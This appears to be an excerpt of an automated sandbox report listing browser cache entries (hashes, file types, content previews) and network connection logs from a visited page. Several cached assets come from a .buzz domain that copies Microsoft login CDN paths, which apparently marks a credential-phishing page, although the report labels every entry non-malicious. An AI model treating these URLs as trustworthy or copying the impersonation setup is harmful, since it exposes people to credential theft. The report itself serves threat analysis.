SHA-256:	5F0C8E109DEB7F767784B64956338D2216BB2DDC8522F12940A456A8C66D5F9F
SHA-512:	F573DDB09D07336971B5AF29E69E20A4C270FE263DB46B1E8310D8A583DA98E8889F39DE181EB16AD60F7B13E7F288395090C7C6600B9D071B0A07C3308781DB
Malicious:	false
Reputation:	low
Preview:	.if (!WebPlatform.onReady) {. WebPlatform.documentReadyRequests = [];. WebPlatform.onReady = function (request) {. if (WebPlatform.documentReadyRequests === null) {. request();. } else {. WebPlatform.documentReadyRequests.push(request);. }. };.}..WebPlatform.collectPageStats = () => {. if (WebPlatform._pageStatsCollected === true) {. return;. }. const isPreview = WebPlatform.getUrlQueryParameter(window.location.href, 'preview') !== '';. if (!WebPlatform.areSystemAnalyticsEnabled() \|\| window.location.pathname.indexOf('/_preview') === 0 \|\| isPreview \|\| WebPlatform.pageForbidden === true) {. return;. }. WebPlatform._pageStatsCollected = true;. const who = (() => {. let ua = navigator.userAgent, tem,. M = ua.match(/(opera\|chrome\|safari\|firefox\|msie\|trident(?=\/))\/?\s*(\d+)/i) \|\| [];.. if (/trident/i.test(M[1])) {. tem = /\brv[ :]+(\d+)/g.exec(ua) \|\| [];. return ['Internet Explorer', (tem[1] \|\| '')];. }. if (M[1] === 'Chro

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (400), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	49470
Entropy (8bit):	4.900638389177732
Encrypted:	false
SSDEEP:	1536:OlbCkUMbbrmUVvkSIBA94j7lt6+nijj6qwoFNaGkWutYFA:7kdxVvkSIBA94j7tQFc
MD5:	DB12EFBF78EBB18202B6A6B38B97FECD
SHA1:	E131D97DF04CD801232AC0D53EB05436043440D6
SHA-256:	F8A47AEB410913123690BDFFFB7A28DAC9E5B352B3EF28529FA8DEC23ECD6A3A
SHA-512:	7DE1EAC1EE57C19D43D47DBC8D39DD6D070D9FA981100881FFD0DF25855C649646D20795404F2636F84738783E59C11EB9E38781DB952F6221315FC17101C2DF
Malicious:	false
Reputation:	low
URL:	https://mighty-calm-plum-toucan.easy2.de/
Preview:	<!DOCTYPE html>. <html itemscope itemtype="http://schema.org/WebPage" lang="de">. <head>. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0" />.. <link rel="dns-prefetch" href="https://static.web-repository.com">. <link rel="preconnect" href="https://static.web-repository.com">. <link rel="dns-prefetch" href="https://content.app-sources.com/">. <link rel="preconnect" href="https://content.app-sources.com/">. <link rel="preload" as="script" href="https://static.web-repository.com/scripts/platform.client.min.js?v=1040" />.. <link rel="icon" href="data:," />.. <title>Tour</title>.. <link rel="canonical" href="http://narrprcom.buzz/" />. <meta property="og:url" content="http://narrprcom.buzz/"/>. <meta itemprop="url" content="http://narrprcom.buzz/"/>. <meta name="twitter:url" content="http://narrprcom.buzz/"/>.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.914866303883101
Encrypted:	false
SSDEEP:	3:YIzLKFjJ4:YI/KZJ4
MD5:	E66A7A6C91E2C26803F3F49FEB7A883F
SHA1:	4AE440FF2BD4594A3CACAEB1EDD29444B781A3ED
SHA-256:	8FD54EEE4277F1327015CC0BCAED8A878BF44D1804364CD5D93DFAB9E2D1A5AF
SHA-512:	9A00E2AA47634A1AA8B4234F7692CA71521929EE31A225A460DD5A7BD46F9196F688467B8303C5EF5D6CFF32D25B85F511BD741CE99A3FDA8D76A66591A1DC2E
Malicious:	false
Reputation:	low
Preview:	{"message":"Not Found"}

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10839), with no line terminators
Category:	downloaded
Size (bytes):	10839
Entropy (8bit):	4.867216865619916
Encrypted:	false
SSDEEP:	192:8XXlA76OXRY7YFZ/O0RrDZcGT62BUwYmSwtsiypHrlkArraZoTYBhQjS:mlA76OXREsZ/O0ZfNIJrltS6Yp
MD5:	1876A14006D3E904CCF8FE7DD9BB4878
SHA1:	1BFB4917D3B64D38D209D9EE9E60F3575A9A1CE1
SHA-256:	4DDE909D21663959EF9196211DF0DF1B4EE4A4ED07BF4B38370F90E335A7397A
SHA-512:	17FB05958E3747874A1F7A25C71AF962A757BE64A90411B5FA006E69D802190C2E9AA24E9E769E3FC1AF5DDA7B80A068A48D701D940F9B2F4D61C067A767932E
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/t/theme25/css/trunk-480.min.css?v=1040
Preview:	.stretched-mobile .grid-column,.stretched-mobile .grid-content,.stretched-tablet .grid-column,.stretched-tablet .grid-content{display:block}.posts-list-wrapper .post-featured-2,.posts-list-wrapper.listType0 .post-featured-2{min-height:0}.portfolio-spacing-default.portfolio-list-type-0 .portfolio-post-article,.portfolio-spacing-default.portfolio-list-type-0 .portfolio-post-article:nth-child(4n+2),.portfolio-spacing-default.portfolio-list-type-0 .portfolio_sizer,.portfolio-spacing-default.portfolio-list-type-1 .portfolio-post-article,.portfolio-spacing-default.portfolio-list-type-1 .portfolio_sizer,.portfolio-spacing-default.portfolio-list-type-2 .portfolio-post-article,.portfolio-spacing-default.portfolio-list-type-2 .portfolio_sizer,.portfolio-spacing-default.portfolio-list-type-3 .portfolio-post-article,.portfolio-spacing-default.portfolio-list-type-3 .portfolio_sizer,.portfolio-spacing-default.portfolio-list-type-4 .portfolio-post-article,.portfolio-spacing-default.portfolio-list-typ

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 150020, version 772.1280
Category:	downloaded
Size (bytes):	150020
Entropy (8bit):	7.99708187417653
Encrypted:	true
SSDEEP:	3072:vPtxURbSTtDXSLXe0itudYTPEnus4blfNUqKrC7ZOBS9C3bzlLX4/NKOTD5:P15Die0UPblfNUqLZg9I/Qk5
MD5:	D5E647388E2415268B700D3DF2E30A0D
SHA1:	97F0942C6627DDD89FB62170E5CAC9A2CBD6C98C
SHA-256:	886C86112A804EF1DDD1CB206AF4C8C40E34B73C26652CA231404AA35A6B30D9
SHA-512:	50B2FFD7537D0424286936CB7BA566004A664F447E4AAAC8FA40CEB2850EAD6CDB39C957515AE05A07AAEB8F6E3E428C4B95E4EFA3EDCADC9473E9E200BB47D6
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/fonts/fontawesome-v6/fa-solid-900.woff2
Preview:	wOF2......J........0..I..........................8.$. .`..<......D.@..p. .....Dp....z.aD.f.O.=i.x.TUUU....l........g...o~..?..o...........O......l...x}~........!.@/..U.....>.........{;m.B..w.@^Q^.Z...f ........t....7....`..Lr.......P.B.Jx....J.0).K.T;S........ODg..>@If3..{.7..#.?..t.n'.M...@F....D..S..Gz}.0$.X..D....p5.vw......y.......O8.....F..,i..q.X...$.+..&.4^....P.x...=....G..b. .1....d....V.u+...;WwMw.L.LwOMuM....Zi.w.[y..!.I.5Y..!.l.....6^..".q.`.:c^.8<..6..^...yK.sK}..f..y;.f....].V;r.d[..M.la/.X6M.q...N.]...fH%.X .t'.?..%....H..?<.:.}(...#.....Jp...2\@....0.)d....d.j.CM.B.!K...p.a....".@.(.6 ......\|............1.S..;...'2..2VjC{RFX.;8aG.ZG....._....'......:....<_6.....\..d.h.....7.....Z.2MAT4I.$.....o...~..".sV.......h..^...&4)........!...!).<..n.Na%R.....h.p...KM.h..[.z_.CX zoF..H`.2(U.S.v...;m.UvjA...T........^........._... ....G......2..9L=...s...{........A0w...=.s.......=3w...@w. ...Y......rE.l.Ze...G.....X......A..

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwnNBuedWClsgRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60801)
Category:	downloaded
Size (bytes):	697434
Entropy (8bit):	5.377908876840392
Encrypted:	false
SSDEEP:	12288:Qq9DW6B7hN+x+RxbWZy91L5rlD16ESUvsi:BW6B7hN+x+RxbWZIrlD9SU0i
MD5:	18F3C3AF10FC0813BB350B99E4C428D1
SHA1:	1C5E99E0A685D05471926ABFD88E4C5C13DD43EA
SHA-256:	DAADAEDB4181519F8309E716DEC2E89311638D43792F27D8A108EECE7F2452D5
SHA-512:	95334553B88CD5A2407DD37369337D50A3A69FBDE3D337B2987706A357FB367CE8FA0C741C8628080D712151057B4720300BD26698F5B67FF7426BCD2E96E45D
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/scripts/platform.client.min.js?v=1040
Preview:	/!. jQuery JavaScript Library http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . /.if(window.jQuery?((console\|\|{}).warn\|\|function(){})("jQuery imported from third-party sources. Will not include it second time!"):function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,(function(e,t){var n=[],r=e.document,i=n.slice,a=n.concat,o=n.push,s=n.indexOf,l={},c=l.toString,u=l.hasOwnProperty,d={},f="3.6.0",p=function(e,t){return new p.fn.init(e,t)},h=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,m=/^-ms-/,g=/-([\da-z])/gi,v=function(e,t){return t.toUpperCase()};function b(e){var t=!!e&&"length"in e&&e.length,n=p.type(e);return"function"!==n&&!p.isWindow(e)&&("array"===n\|\|

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18668, version 1.0
Category:	downloaded
Size (bytes):	18668
Entropy (8bit):	7.988119248989337
Encrypted:	false
SSDEEP:	384:1stcBfAVaR8i6XzMsb4fcjakBudFyBqrgeU0hipgwfqj09nOt/a:1k0F6Xz1bFjaPbyBqr9hIgkM3Fa
MD5:	8655D20BBCC8CDBFAB17B6BE6CF55DF3
SHA1:	90EDBFA9A7DABB185487B4774076F82EB6412270
SHA-256:	E7AF9D60D875EB1C1B1037BBBFDEC41FCB096D0EBCF98A48717AD8B07906CED6
SHA-512:	47308DE25BD7E4CA27F59A2AE681BA64393FE4070E730C1F00C4053BAC956A9B4F7C0763C04145BC50A5F91C12A0BF80BDD4B03EECC2036CD56B2DB31494CBAF
Malicious:	false
Reputation:	low
URL:	https://fonts.bunny.net/open-sans/files/open-sans-latin-400-normal.woff2
Preview:	wOF2......H...........H..........................\|.....h.`?STAT^..0..\|...........+..2..6.$..`. ..x........z'o..w;....6.E....6....E...'$H.#.....n1X..JU/.d.O..JC.'J".v.v.l.h.....u.S...SY.....B.hz.o.}......W......%m6...A..=....\..m. .]..~.[..........]...I..h.=.....6.xt..F....Lt...Qs-.7..{...~BI.".F.Q......F...P..dMw..#I2........Rq.Q&.0@.;..;...3VG..:c.nki..-Q..2##e.u...8n....\?....T..b....^..#...../.J\|OM..St....e.S.}!.....>..i.T/a.ES%.W.P3..`..a.R.A.....!~g..74.np8o.....d[6?.P.4)P.....AG.3.......;#0.y....M..O/2.@.4..N.vA$.:M&H,.AT".........@..a.~..L->...0@h...~.._..N"......t......C./g7..............2E.N.J...TW.F..."A.B...n.......i.?.{\.L.!.B..x...S..!........?.\,... .@.....y"xw.A8.w..!E..-^P O..+.T.r.R.zz..K..].E.....Ri.)g.P...j..w..c.M.F.v../........Q....'...(....X..;.K.!BZ3.........f.....N.A(....cA`.b'...`.~sa^.....?..../.L.S......t..`@h..C.....>N.W...;>..._h.+~=\|......uOGA{.7.....h....q.d.4$.x<.....^0\|...@....@Q[RC.0....b....'...RID

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	2112
Entropy (8bit):	7.884489505873821
Encrypted:	false
SSDEEP:	48:LtpA67+VuGN37JuLl277XazdDNArQIZfsdCSXEvxKFsC:5pA1VdIAfX2+1aCS0vUb
MD5:	D56231A7D62F05103D86A88008DD6291
SHA1:	76CF6234D1659F9CA11038DB6C81A875BE1961FC
SHA-256:	4429DBB107173F013A086C66F64CEA49F370B5A744F5400EB30A5722667FE4A0
SHA-512:	F3EB199DB96447EF255BE907B1A715ABB44450F5D00B1BC1D3D53925CC088DCFE0DA8136E60CB7F0D7E8D7E1A7EBF4C81C948E8AD1333DF521DD60A22F7089E9
Malicious:	false
Reputation:	low
URL:	https://content.app-sources.com/s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036.png?format=webp
Preview:	RIFF8...WEBPVP8X..............ALPH..........F..=.......k...E...k.1..wttl.. (.&._...J.x.RDL...f.....{_..>..w.....'3.......pm).\...Q..8w....ks.2VR........h....A..Oz..>...o.f7.m.!..?..SY..uL.u8b.;v.........m.....=?,..Ka.....ZK...&...._..MR.G.Yi.X.A7...Xl.j...t...k....Zu-...-H...D.......Tj$)..~F..M..\|.qEv$)..W%....N...&.../....N.....\M.^.M.........N.;..8..(6......y.c...Z.....i......B..`....m.s.OSf..l.\2.M^........N..U..}.....:..A.....S f.XO.2..Z...}..a8.v...{.n..4..{........d..9g')........6.d...p3#Q.q...:y...d..>..>\|...G.^.....[`.d..GKm......m........]..l..,..........`JX...r.7..x-^..jf.-.3.f..G`..P..v...Q.........i.At..1.}....jk@.h.(.A..>eJ"e.C.>NR....(..:f!..[..f.J'.FK.O.Pr...B.YDc....-.k..BF(.H.X"JxW...j...!..0.U!v.)....R...kk.....E.7.P3_%GU.2..c^'.......Co3+-Ey...Q......3.qFZ..`O..D...._..[..>V.2?....d........s....BM.n.#....Rf..Rf.6...W...6..0..R......`.e..7.!Q4.9B:.ca..u.;...f.(..N/..7...WI[...b...w...].!.9.1.WL.vD]........\|....m......*e..h..

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64443)
Category:	downloaded
Size (bytes):	555675
Entropy (8bit):	5.209723408044301
Encrypted:	false
SSDEEP:	12288:W9JWs//oi8GtZ+QMCXSVsnDHcNz4O66G3Zl3tfR:W9JWWV8GtZ+QMCXSmnDHcNz4O66G3ZlX
MD5:	D255BEF9B38F06B5F5399A70A0895A51
SHA1:	025D04403D2254736FCB317669556686122C7B57
SHA-256:	D0038EC0D8B7F7CB32900335F1AC8E024928F1C75A763829A8096D0E0E218350
SHA-512:	BCECAA376CBC12DFA5AE81C166A27788876D0A8508A62D5E4E8F33A35057B7E493B0F79D5EDFFF9898845F1B92F34EE035E671D5CAB165D013491DE1074BC9AE
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/styles/platform.client.min.css?v=1040
Preview:	/! Eric Meyer's Reset CSS v2.0 - http://cssreset.com /a,abbr,acronym,address,applet,article,aside,audio,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,output,p,pre,q,ruby,s,samp,section,small,span,strike,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,ul,var,video{border:0;font-size:100%;font:inherit;vertical-align:baseline;margin:0;padding:0}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:none}table{border-collapse:collapse;border-spacing:0}a{outline:0}mark{background:0 0;color:inherit}button::-moz-focus-inner{padding:0;border:0}/!. Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 15:55:39.106970072 CET	49674	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:39.107007980 CET	49673	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:39.403785944 CET	49672	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:48.778767109 CET	49673	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:48.794415951 CET	49674	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:49.091267109 CET	49672	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:50.663661957 CET	443	49707	173.222.162.64	192.168.2.6
Jan 14, 2025 15:55:50.667494059 CET	49707	443	192.168.2.6	173.222.162.64
Jan 14, 2025 15:55:55.366689920 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:55.366736889 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:55.366795063 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:55.367228031 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:55.367247105 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:56.012069941 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:56.012346029 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:56.012361050 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:56.013413906 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:56.013483047 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:56.022546053 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:56.022706032 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:56.075478077 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:56.075488091 CET	443	49811	142.250.185.132	192.168.2.6
Jan 14, 2025 15:55:56.122339964 CET	49811	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:55:56.735832930 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:56.735877991 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:56.736005068 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:56.736438990 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:56.736459970 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:56.736534119 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:56.737230062 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:56.737245083 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:56.737416029 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:56.737426043 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.512706995 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.514266014 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.514302015 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.515400887 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.515482903 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.515495062 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.515609980 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.516782045 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.516858101 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.517052889 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.517060995 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.561872959 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.591156960 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.591662884 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.591670990 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.592740059 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.592798948 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.592807055 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.592839956 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.593276024 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.593327045 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.640218019 CET	49820	443	192.168.2.6	52.164.226.60
